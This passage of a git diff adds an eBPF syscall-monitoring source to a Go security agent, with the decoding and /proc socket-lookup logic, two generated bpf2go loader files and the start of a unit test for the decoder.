memlockErr := rlimit.RemoveMemlock()
|
||||
var objects syscallObjects
|
||||
if err := loadSyscallObjects(&objects, nil); err != nil {
|
||||
if memlockErr != nil {
|
||||
return nil, fmt.Errorf("load syscall BPF objects: %w (memlock adjustment: %v)", err, memlockErr)
|
||||
}
|
||||
return nil, fmt.Errorf("load syscall BPF objects: %w", err)
|
||||
}
|
||||
for number, identifier := range numbers {
|
||||
if err := objects.MonitoredSyscalls.Update(number, identifier, ebpf.UpdateAny); err != nil {
|
||||
objects.Close()
|
||||
return nil, fmt.Errorf("configure syscall %d: %w", number, err)
|
||||
}
|
||||
}
|
||||
for _, comm := range events.HostInterpreterComms() {
|
||||
var key [16]byte
|
||||
copy(key[:], comm)
|
||||
if err := objects.MonitoredHostComms.Update(key, uint32(1), ebpf.UpdateAny); err != nil {
|
||||
objects.Close()
|
||||
return nil, fmt.Errorf("configure write comm %q: %w", comm, err)
|
||||
}
|
||||
}
|
||||
enterLink, err := link.Tracepoint("raw_syscalls", "sys_enter", objects.TraceSysEnter, nil)
|
||||
if err != nil {
|
||||
objects.Close()
|
||||
return nil, fmt.Errorf("attach raw syscall tracepoint: %w", err)
|
||||
}
|
||||
exitLink, err := link.Tracepoint("raw_syscalls", "sys_exit", objects.TraceSysExit, nil)
|
||||
if err != nil {
|
||||
enterLink.Close()
|
||||
objects.Close()
|
||||
return nil, fmt.Errorf("attach raw syscall exit tracepoint: %w", err)
|
||||
}
|
||||
reader, err := perf.NewReader(objects.SyscallEvents, 64*4096)
|
||||
if err != nil {
|
||||
exitLink.Close()
|
||||
enterLink.Close()
|
||||
objects.Close()
|
||||
return nil, fmt.Errorf("open syscall perf reader: %w", err)
|
||||
}
|
||||
return &SyscallSource{objects: objects, links: []link.Link{enterLink, exitLink}, reader: reader, procRoot: procRoot}, nil
|
||||
}
|
||||
|
||||
func (s *SyscallSource) Read() (SecurityEvent, error) {
|
||||
record, err := s.reader.Read()
|
||||
if err != nil {
|
||||
return SecurityEvent{}, err
|
||||
}
|
||||
if record.LostSamples != 0 {
|
||||
return SecurityEvent{}, SyscallLostSamplesError{Count: record.LostSamples}
|
||||
}
|
||||
securityEvent, err := decodeSecuritySample(record.RawSample)
|
||||
if err == nil && securityEvent.Host != nil {
|
||||
if securityEvent.Host.Path != "" {
|
||||
securityEvent.Host.Path = resolveProcessPath(
|
||||
s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD,
|
||||
securityEvent.Host.Path,
|
||||
)
|
||||
} else if securityEvent.Host.Event == "module_load" || securityEvent.Host.Event == "file_write" {
|
||||
securityEvent.Host.Path = resolveProcessFD(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD)
|
||||
if securityEvent.Host.Event == "module_load" && securityEvent.Host.Path != "" {
|
||||
securityEvent.Host.ModuleName = filepath.Base(strings.TrimSuffix(securityEvent.Host.Path, " (deleted)"))
|
||||
}
|
||||
}
|
||||
if securityEvent.Host.Event == "tcp_connect" &&
|
||||
!isTCPSocket(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD) {
|
||||
securityEvent.Host = nil
|
||||
}
|
||||
if securityEvent.Host != nil &&
|
||||
(securityEvent.Host.Event == "listen" || securityEvent.Host.Event == "accept") {
|
||||
local, peer, ok := lookupTCPSocket(s.procRoot, securityEvent.Host.PID, securityEvent.pathDirFD)
|
||||
if !ok {
|
||||
securityEvent.Host = nil
|
||||
} else {
|
||||
securityEvent.Host.LocalIP, securityEvent.Host.LocalPort = local.IP, local.Port
|
||||
securityEvent.Host.PeerIP, securityEvent.Host.PeerPort = peer.IP, peer.Port
|
||||
}
|
||||
}
|
||||
}
|
||||
return securityEvent, err
|
||||
}
|
||||
|
||||
func decodeSecuritySample(sample []byte) (SecurityEvent, error) {
|
||||
var raw syscallEventRaw
|
||||
if len(sample) != binary.Size(raw) {
|
||||
return SecurityEvent{}, fmt.Errorf("syscall event size %d, want %d", len(sample), binary.Size(raw))
|
||||
}
|
||||
if err := binary.Read(bytes.NewReader(sample), binary.NativeEndian, &raw); err != nil {
|
||||
return SecurityEvent{}, fmt.Errorf("decode syscall event: %w", err)
|
||||
}
|
||||
if raw.SyscallID == hostSetuid || raw.SyscallID == hostSetgid {
|
||||
event := events.HostEvent{
|
||||
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
|
||||
}
|
||||
if raw.SyscallID == hostSetuid {
|
||||
event.Event = "setuid"
|
||||
event.TargetUID = int(raw.Args[0])
|
||||
} else {
|
||||
event.Event = "setgid"
|
||||
event.TargetGID = int(raw.Args[0])
|
||||
}
|
||||
return SecurityEvent{Host: &event}, nil
|
||||
}
|
||||
if raw.SyscallID >= hostChmod && raw.SyscallID <= hostFchownat {
|
||||
event := events.HostEvent{
|
||||
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
Comm: cString(raw.Comm[:]), Path: cString(raw.Text[:]),
|
||||
TargetUID: -1, TargetGID: -1,
|
||||
}
|
||||
switch raw.SyscallID {
|
||||
case hostChmod, hostFchmodat:
|
||||
event.Event = "chmod"
|
||||
event.Mode = int(raw.Args[0])
|
||||
case hostChown, hostLchown, hostFchownat:
|
||||
event.Event = "chown"
|
||||
event.TargetUID = int(raw.Args[0])
|
||||
event.TargetGID = int(raw.Args[1])
|
||||
}
|
||||
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[2])}, nil
|
||||
}
|
||||
if raw.SyscallID == hostCapset {
|
||||
event := events.HostEvent{
|
||||
Event: "capset", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
|
||||
Capabilities: capabilityNames(raw.Args[0]),
|
||||
}
|
||||
return SecurityEvent{Host: &event}, nil
|
||||
}
|
||||
if raw.SyscallID == hostFinitModule {
|
||||
event := events.HostEvent{
|
||||
Event: "module_load", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
|
||||
}
|
||||
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[0])}, nil
|
||||
}
|
||||
if raw.SyscallID == hostFileWrite {
|
||||
event := events.HostEvent{
|
||||
Event: "file_write", PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
|
||||
}
|
||||
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[0])}, nil
|
||||
}
|
||||
if raw.SyscallID == hostTCPConnect || raw.SyscallID == hostBind {
|
||||
event := events.HostEvent{
|
||||
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
|
||||
}
|
||||
address := socketAddress(raw)
|
||||
if raw.SyscallID == hostTCPConnect {
|
||||
event.Event, event.PeerIP, event.PeerPort = "tcp_connect", address, int(raw.Args[1])
|
||||
} else {
|
||||
event.Event, event.LocalIP, event.LocalPort = "bind", address, int(raw.Args[1])
|
||||
}
|
||||
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[3])}, nil
|
||||
}
|
||||
if raw.SyscallID >= hostListen && raw.SyscallID <= hostAccept4 {
|
||||
eventName := "accept"
|
||||
if raw.SyscallID == hostListen {
|
||||
eventName = "listen"
|
||||
}
|
||||
event := events.HostEvent{
|
||||
Event: eventName, PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
Comm: cString(raw.Comm[:]), TargetUID: -1, TargetGID: -1,
|
||||
}
|
||||
return SecurityEvent{Host: &event, pathDirFD: int64(raw.Args[3])}, nil
|
||||
}
|
||||
name, ok := syscallNames[raw.SyscallID]
|
||||
if !ok {
|
||||
return SecurityEvent{}, fmt.Errorf("unknown canonical syscall id %d", raw.SyscallID)
|
||||
}
|
||||
event := events.SyscallEvent{
|
||||
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
|
||||
Comm: cString(raw.Comm[:]), Syscall: name, Args: raw.Args,
|
||||
Text: cString(raw.Text[:]),
|
||||
}
|
||||
return SecurityEvent{Syscall: &event}, nil
|
||||
}
|
||||
|
||||
func decodeSyscallSample(sample []byte) (events.SyscallEvent, error) {
|
||||
securityEvent, err := decodeSecuritySample(sample)
|
||||
if err != nil {
|
||||
return events.SyscallEvent{}, err
|
||||
}
|
||||
if securityEvent.Syscall == nil {
|
||||
return events.SyscallEvent{}, fmt.Errorf("sample is a typed host event")
|
||||
}
|
||||
return *securityEvent.Syscall, nil
|
||||
}
|
||||
|
||||
func (s *SyscallSource) Close() error {
|
||||
var failures []error
|
||||
if s.reader != nil {
|
||||
failures = append(failures, s.reader.Close())
|
||||
}
|
||||
for _, attached := range s.links {
|
||||
if attached != nil {
|
||||
failures = append(failures, attached.Close())
|
||||
}
|
||||
}
|
||||
failures = append(failures, s.objects.Close())
|
||||
return errors.Join(failures...)
|
||||
}
|
||||
|
||||
func monitoredSyscalls() map[uint64]uint32 {
|
||||
numbers := map[uint64]uint32{
|
||||
unix.SYS_MPROTECT: syscallMprotect,
|
||||
unix.SYS_MMAP: syscallMmap,
|
||||
unix.SYS_MEMFD_CREATE: syscallMemfdCreate,
|
||||
unix.SYS_PTRACE: syscallPtrace,
|
||||
unix.SYS_PRCTL: syscallPrctl,
|
||||
unix.SYS_SECCOMP: syscallSeccomp,
|
||||
unix.SYS_PROCESS_VM_READV: syscallProcessVMReadv,
|
||||
unix.SYS_PROCESS_VM_WRITEV: syscallProcessVMWritev,
|
||||
unix.SYS_MLOCK: syscallMlock,
|
||||
unix.SYS_MLOCK2: syscallMlock2,
|
||||
unix.SYS_MLOCKALL: syscallMlockall,
|
||||
unix.SYS_SETUID: hostSetuid,
|
||||
unix.SYS_SETGID: hostSetgid,
|
||||
unix.SYS_FCHMODAT: hostFchmodat,
|
||||
unix.SYS_FCHOWNAT: hostFchownat,
|
||||
unix.SYS_CAPSET: hostCapset,
|
||||
unix.SYS_FINIT_MODULE: hostFinitModule,
|
||||
unix.SYS_WRITE: hostFileWrite,
|
||||
unix.SYS_WRITEV: hostFileWrite,
|
||||
unix.SYS_PWRITE64: hostFileWrite,
|
||||
unix.SYS_PWRITEV: hostFileWrite,
|
||||
unix.SYS_PWRITEV2: hostFileWrite,
|
||||
unix.SYS_CONNECT: hostTCPConnect,
|
||||
unix.SYS_BIND: hostBind,
|
||||
unix.SYS_LISTEN: hostListen,
|
||||
unix.SYS_ACCEPT4: hostAccept4,
|
||||
}
|
||||
for number, identifier := range legacyPermissionSyscalls() {
|
||||
numbers[number] = identifier
|
||||
}
|
||||
for number, identifier := range legacyNetworkSyscalls() {
|
||||
numbers[number] = identifier
|
||||
}
|
||||
return numbers
|
||||
}
|
||||
|
||||
func socketAddress(raw syscallEventRaw) string {
|
||||
switch raw.Args[0] {
|
||||
case unix.AF_INET:
|
||||
bytes := make([]byte, 4)
|
||||
binary.NativeEndian.PutUint32(bytes, uint32(raw.Args[2]))
|
||||
return net.IP(bytes).String()
|
||||
case unix.AF_INET6:
|
||||
bytes := make([]byte, 16)
|
||||
for index := range bytes {
|
||||
bytes[index] = byte(raw.Text[index])
|
||||
}
|
||||
return net.IP(bytes).String()
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func capabilityNames(effective uint64) []string {
|
||||
known := []struct {
|
||||
bit uint
|
||||
name string
|
||||
}{
|
||||
{0, "CAP_CHOWN"}, {1, "CAP_DAC_OVERRIDE"}, {2, "CAP_DAC_READ_SEARCH"},
|
||||
{12, "CAP_NET_ADMIN"}, {13, "CAP_NET_RAW"}, {16, "CAP_SYS_MODULE"},
|
||||
{19, "CAP_SYS_PTRACE"}, {21, "CAP_SYS_ADMIN"},
|
||||
}
|
||||
names := make([]string, 0)
|
||||
for _, capability := range known {
|
||||
if effective&(uint64(1)<<capability.bit) != 0 {
|
||||
names = append(names, capability.name)
|
||||
}
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
func resolveProcessPath(procRoot string, pid int, dirFD int64, path string) string {
|
||||
if filepath.IsAbs(path) {
|
||||
return filepath.Clean(path)
|
||||
}
|
||||
processRoot := filepath.Join(procRoot, fmt.Sprintf("%d", pid))
|
||||
baseLink := filepath.Join(processRoot, "cwd")
|
||||
if dirFD >= 0 {
|
||||
baseLink = filepath.Join(processRoot, "fd", fmt.Sprintf("%d", dirFD))
|
||||
}
|
||||
base, err := os.Readlink(baseLink)
|
||||
if err != nil || !filepath.IsAbs(base) {
|
||||
return path
|
||||
}
|
||||
return filepath.Clean(filepath.Join(base, path))
|
||||
}
|
||||
|
||||
func resolveProcessFD(procRoot string, pid int, fd int64) string {
|
||||
if fd < 0 {
|
||||
return ""
|
||||
}
|
||||
path, err := os.Readlink(filepath.Join(procRoot, fmt.Sprintf("%d", pid), "fd", fmt.Sprintf("%d", fd)))
|
||||
if err != nil || !filepath.IsAbs(path) {
|
||||
return ""
|
||||
}
|
||||
return filepath.Clean(path)
|
||||
}
|
||||
|
||||
func isTCPSocket(procRoot string, pid int, fd int64) bool {
|
||||
_, _, ok := lookupTCPSocket(procRoot, pid, fd)
|
||||
return ok
|
||||
}
|
||||
|
||||
type socketEndpoint struct {
|
||||
IP string
|
||||
Port int
|
||||
}
|
||||
|
||||
func lookupTCPSocket(procRoot string, pid int, fd int64) (socketEndpoint, socketEndpoint, bool) {
|
||||
target, err := os.Readlink(filepath.Join(procRoot, fmt.Sprintf("%d", pid), "fd", fmt.Sprintf("%d", fd)))
|
||||
if err != nil || !strings.HasPrefix(target, "socket:[") || !strings.HasSuffix(target, "]") {
|
||||
return socketEndpoint{}, socketEndpoint{}, false
|
||||
}
|
||||
inode := strings.TrimSuffix(strings.TrimPrefix(target, "socket:["), "]")
|
||||
for _, name := range []string{"tcp", "tcp6"} {
|
||||
file, err := os.Open(filepath.Join(procRoot, "net", name))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
fields := strings.Fields(scanner.Text())
|
||||
if len(fields) > 9 && fields[9] == inode {
|
||||
local, localErr := decodeProcEndpoint(fields[1], name == "tcp6")
|
||||
peer, peerErr := decodeProcEndpoint(fields[2], name == "tcp6")
|
||||
file.Close()
|
||||
return local, peer, localErr == nil && peerErr == nil
|
||||
}
|
||||
}
|
||||
file.Close()
|
||||
}
|
||||
return socketEndpoint{}, socketEndpoint{}, false
|
||||
}
|
||||
|
||||
func decodeProcEndpoint(value string, ipv6 bool) (socketEndpoint, error) {
|
||||
addressHex, portHex, ok := strings.Cut(value, ":")
|
||||
if !ok {
|
||||
return socketEndpoint{}, fmt.Errorf("invalid proc endpoint %q", value)
|
||||
}
|
||||
address, err := hex.DecodeString(addressHex)
|
||||
if err != nil || len(address) != 4 && len(address) != 16 {
|
||||
return socketEndpoint{}, fmt.Errorf("invalid proc address %q", addressHex)
|
||||
}
|
||||
if ipv6 {
|
||||
for offset := 0; offset < len(address); offset += 4 {
|
||||
slices.Reverse(address[offset : offset+4])
|
||||
}
|
||||
} else {
|
||||
slices.Reverse(address)
|
||||
}
|
||||
port, err := strconv.ParseUint(portHex, 16, 16)
|
||||
if err != nil {
|
||||
return socketEndpoint{}, err
|
||||
}
|
||||
return socketEndpoint{IP: net.IP(address).String(), Port: int(port)}, nil
|
||||
}
|
||||
|
||||
var _ io.Closer = (*SyscallSource)(nil)
|
||||
157
go-agent/internal/ebpfsource/syscall_bpfeb.go
Normal file
157
go-agent/internal/ebpfsource/syscall_bpfeb.go
Normal file
|
|
@ -0,0 +1,157 @@
|
|||
// Code generated by bpf2go; DO NOT EDIT.
|
||||
//go:build mips || mips64 || ppc64 || s390x
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/cilium/ebpf"
|
||||
)
|
||||
|
||||
// Names of all BPF objects in the ELF.
|
||||
//
|
||||
// Used for safe lookups in a Collection or CollectionSpec.
|
||||
const (
|
||||
syscallMapMonitoredHostComms = "monitored_host_comms"
|
||||
syscallMapMonitoredSyscalls = "monitored_syscalls"
|
||||
syscallMapPendingReturns = "pending_returns"
|
||||
syscallMapSyscallEvents = "syscall_events"
|
||||
syscallProgTraceSysEnter = "trace_sys_enter"
|
||||
syscallProgTraceSysExit = "trace_sys_exit"
|
||||
)
|
||||
|
||||
// loadSyscall returns the embedded CollectionSpec for syscall.
|
||||
func loadSyscall() (*ebpf.CollectionSpec, error) {
|
||||
reader := bytes.NewReader(_SyscallBytes)
|
||||
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("can't load syscall: %w", err)
|
||||
}
|
||||
|
||||
return spec, err
|
||||
}
|
||||
|
||||
// loadSyscallObjects loads syscall and converts it into a struct.
|
||||
//
|
||||
// The following types are suitable as obj argument:
|
||||
//
|
||||
// *syscallObjects
|
||||
// *syscallPrograms
|
||||
// *syscallMaps
|
||||
//
|
||||
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
|
||||
func loadSyscallObjects(obj any, opts *ebpf.CollectionOptions) error {
|
||||
spec, err := loadSyscall()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return spec.LoadAndAssign(obj, opts)
|
||||
}
|
||||
|
||||
// syscallSpecs contains maps and programs before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type syscallSpecs struct {
|
||||
syscallProgramSpecs
|
||||
syscallMapSpecs
|
||||
syscallVariableSpecs
|
||||
}
|
||||
|
||||
// syscallProgramSpecs contains programs before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type syscallProgramSpecs struct {
|
||||
TraceSysEnter *ebpf.ProgramSpec `ebpf:"trace_sys_enter"`
|
||||
TraceSysExit *ebpf.ProgramSpec `ebpf:"trace_sys_exit"`
|
||||
}
|
||||
|
||||
// syscallMapSpecs contains maps before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type syscallMapSpecs struct {
|
||||
MonitoredHostComms *ebpf.MapSpec `ebpf:"monitored_host_comms"`
|
||||
MonitoredSyscalls *ebpf.MapSpec `ebpf:"monitored_syscalls"`
|
||||
PendingReturns *ebpf.MapSpec `ebpf:"pending_returns"`
|
||||
SyscallEvents *ebpf.MapSpec `ebpf:"syscall_events"`
|
||||
}
|
||||
|
||||
// syscallVariableSpecs contains global variables before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type syscallVariableSpecs struct {
|
||||
}
|
||||
|
||||
// syscallObjects contains all objects after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type syscallObjects struct {
|
||||
syscallPrograms
|
||||
syscallMaps
|
||||
syscallVariables
|
||||
}
|
||||
|
||||
func (o *syscallObjects) Close() error {
|
||||
return _SyscallClose(
|
||||
&o.syscallPrograms,
|
||||
&o.syscallMaps,
|
||||
)
|
||||
}
|
||||
|
||||
// syscallMaps contains all maps after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type syscallMaps struct {
|
||||
MonitoredHostComms *ebpf.Map `ebpf:"monitored_host_comms"`
|
||||
MonitoredSyscalls *ebpf.Map `ebpf:"monitored_syscalls"`
|
||||
PendingReturns *ebpf.Map `ebpf:"pending_returns"`
|
||||
SyscallEvents *ebpf.Map `ebpf:"syscall_events"`
|
||||
}
|
||||
|
||||
func (m *syscallMaps) Close() error {
|
||||
return _SyscallClose(
|
||||
m.MonitoredHostComms,
|
||||
m.MonitoredSyscalls,
|
||||
m.PendingReturns,
|
||||
m.SyscallEvents,
|
||||
)
|
||||
}
|
||||
|
||||
// syscallVariables contains all global variables after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type syscallVariables struct {
|
||||
}
|
||||
|
||||
// syscallPrograms contains all programs after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type syscallPrograms struct {
|
||||
TraceSysEnter *ebpf.Program `ebpf:"trace_sys_enter"`
|
||||
TraceSysExit *ebpf.Program `ebpf:"trace_sys_exit"`
|
||||
}
|
||||
|
||||
func (p *syscallPrograms) Close() error {
|
||||
return _SyscallClose(
|
||||
p.TraceSysEnter,
|
||||
p.TraceSysExit,
|
||||
)
|
||||
}
|
||||
|
||||
func _SyscallClose(closers ...io.Closer) error {
|
||||
for _, closer := range closers {
|
||||
if err := closer.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Do not access this directly.
|
||||
//
|
||||
//go:embed syscall_bpfeb.o
|
||||
var _SyscallBytes []byte
|
||||
BIN
go-agent/internal/ebpfsource/syscall_bpfeb.o
Normal file
BIN
go-agent/internal/ebpfsource/syscall_bpfeb.o
Normal file
Binary file not shown.
157
go-agent/internal/ebpfsource/syscall_bpfel.go
Normal file
157
go-agent/internal/ebpfsource/syscall_bpfel.go
Normal file
|
|
@ -0,0 +1,157 @@
|
|||
// Code generated by bpf2go; DO NOT EDIT.
|
||||
//go:build 386 || amd64 || arm || arm64 || loong64 || mips64le || mipsle || ppc64le || riscv64 || wasm
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/cilium/ebpf"
|
||||
)
|
||||
|
||||
// Names of all BPF objects in the ELF.
|
||||
//
|
||||
// Used for safe lookups in a Collection or CollectionSpec.
|
||||
const (
|
||||
syscallMapMonitoredHostComms = "monitored_host_comms"
|
||||
syscallMapMonitoredSyscalls = "monitored_syscalls"
|
||||
syscallMapPendingReturns = "pending_returns"
|
||||
syscallMapSyscallEvents = "syscall_events"
|
||||
syscallProgTraceSysEnter = "trace_sys_enter"
|
||||
syscallProgTraceSysExit = "trace_sys_exit"
|
||||
)
|
||||
|
||||
// loadSyscall returns the embedded CollectionSpec for syscall.
|
||||
func loadSyscall() (*ebpf.CollectionSpec, error) {
|
||||
reader := bytes.NewReader(_SyscallBytes)
|
||||
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("can't load syscall: %w", err)
|
||||
}
|
||||
|
||||
return spec, err
|
||||
}
|
||||
|
||||
// loadSyscallObjects loads syscall and converts it into a struct.
|
||||
//
|
||||
// The following types are suitable as obj argument:
|
||||
//
|
||||
// *syscallObjects
|
||||
// *syscallPrograms
|
||||
// *syscallMaps
|
||||
//
|
||||
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
|
||||
func loadSyscallObjects(obj any, opts *ebpf.CollectionOptions) error {
|
||||
spec, err := loadSyscall()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return spec.LoadAndAssign(obj, opts)
|
||||
}
|
||||
|
||||
// syscallSpecs contains maps and programs before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type syscallSpecs struct {
|
||||
syscallProgramSpecs
|
||||
syscallMapSpecs
|
||||
syscallVariableSpecs
|
||||
}
|
||||
|
||||
// syscallProgramSpecs contains programs before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type syscallProgramSpecs struct {
|
||||
TraceSysEnter *ebpf.ProgramSpec `ebpf:"trace_sys_enter"`
|
||||
TraceSysExit *ebpf.ProgramSpec `ebpf:"trace_sys_exit"`
|
||||
}
|
||||
|
||||
// syscallMapSpecs contains maps before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type syscallMapSpecs struct {
|
||||
MonitoredHostComms *ebpf.MapSpec `ebpf:"monitored_host_comms"`
|
||||
MonitoredSyscalls *ebpf.MapSpec `ebpf:"monitored_syscalls"`
|
||||
PendingReturns *ebpf.MapSpec `ebpf:"pending_returns"`
|
||||
SyscallEvents *ebpf.MapSpec `ebpf:"syscall_events"`
|
||||
}
|
||||
|
||||
// syscallVariableSpecs contains global variables before they are loaded into the kernel.
|
||||
//
|
||||
// It can be passed ebpf.CollectionSpec.Assign.
|
||||
type syscallVariableSpecs struct {
|
||||
}
|
||||
|
||||
// syscallObjects contains all objects after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type syscallObjects struct {
|
||||
syscallPrograms
|
||||
syscallMaps
|
||||
syscallVariables
|
||||
}
|
||||
|
||||
func (o *syscallObjects) Close() error {
|
||||
return _SyscallClose(
|
||||
&o.syscallPrograms,
|
||||
&o.syscallMaps,
|
||||
)
|
||||
}
|
||||
|
||||
// syscallMaps contains all maps after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type syscallMaps struct {
|
||||
MonitoredHostComms *ebpf.Map `ebpf:"monitored_host_comms"`
|
||||
MonitoredSyscalls *ebpf.Map `ebpf:"monitored_syscalls"`
|
||||
PendingReturns *ebpf.Map `ebpf:"pending_returns"`
|
||||
SyscallEvents *ebpf.Map `ebpf:"syscall_events"`
|
||||
}
|
||||
|
||||
func (m *syscallMaps) Close() error {
|
||||
return _SyscallClose(
|
||||
m.MonitoredHostComms,
|
||||
m.MonitoredSyscalls,
|
||||
m.PendingReturns,
|
||||
m.SyscallEvents,
|
||||
)
|
||||
}
|
||||
|
||||
// syscallVariables contains all global variables after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type syscallVariables struct {
|
||||
}
|
||||
|
||||
// syscallPrograms contains all programs after they have been loaded into the kernel.
|
||||
//
|
||||
// It can be passed to loadSyscallObjects or ebpf.CollectionSpec.LoadAndAssign.
|
||||
type syscallPrograms struct {
|
||||
TraceSysEnter *ebpf.Program `ebpf:"trace_sys_enter"`
|
||||
TraceSysExit *ebpf.Program `ebpf:"trace_sys_exit"`
|
||||
}
|
||||
|
||||
func (p *syscallPrograms) Close() error {
|
||||
return _SyscallClose(
|
||||
p.TraceSysEnter,
|
||||
p.TraceSysExit,
|
||||
)
|
||||
}
|
||||
|
||||
func _SyscallClose(closers ...io.Closer) error {
|
||||
for _, closer := range closers {
|
||||
if err := closer.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Do not access this directly.
|
||||
//
|
||||
//go:embed syscall_bpfel.o
|
||||
var _SyscallBytes []byte
|
||||
BIN
go-agent/internal/ebpfsource/syscall_bpfel.o
Normal file
BIN
go-agent/internal/ebpfsource/syscall_bpfel.o
Normal file
Binary file not shown.
256
go-agent/internal/ebpfsource/syscall_test.go
Normal file
256
go-agent/internal/ebpfsource/syscall_test.go
Normal file
|
|
@ -0,0 +1,256 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package ebpfsource
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"testing"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func TestDecodeSyscallSample(t *testing.T) {
|
||||
raw := syscallEventRaw{
|
||||
PID: 42, PPID: 7, UID: 1000, SyscallID: syscallMprotect,
|
||||
Args: [6]uint64{0x1000, 0x2000, 0x6},
|
||||
}
|
||||
copyCString(raw.Comm[:], "dropper")
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
event, err := decodeSyscallSample(sample.Bytes())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if event.PID != 42 || event.PPID != 7 || event.UID != 1000 ||
|
||||
event.Comm != "dropper" || event.Syscall != "mprotect" || event.Args[2] != 0x6 {
|
||||
t.Fatalf("unexpected event: %#v", event)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeSyscallSampleRejectsUnknownIDAndSize(t *testing.T) {
|
||||
if _, err := decodeSyscallSample([]byte{1}); err == nil {
|
||||
t.Fatal("expected size error")
|
||||
}
|
||||
raw := syscallEventRaw{SyscallID: 99}
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := decodeSyscallSample(sample.Bytes()); err == nil {
|
||||
t.Fatal("expected unknown ID error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDecodeSecuritySampleProducesTypedHostTransition(t *testing.T) {
|
||||
raw := syscallEventRaw{
|
||||
PID: 42, PPID: 7, UID: 1000, SyscallID: hostSetuid,
|
||||
Args: [6]uint64{0},
|
||||
}
|
||||
copyCString(raw.Comm[:], "python3")
|
||||
var sample bytes.Buffer
|
||||
if err := binary.Write(&sample, binary.NativeEndian, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
securityEvent, err := decodeSecuritySample(sample.Bytes())
|
||||
if err != nil {
|
||||
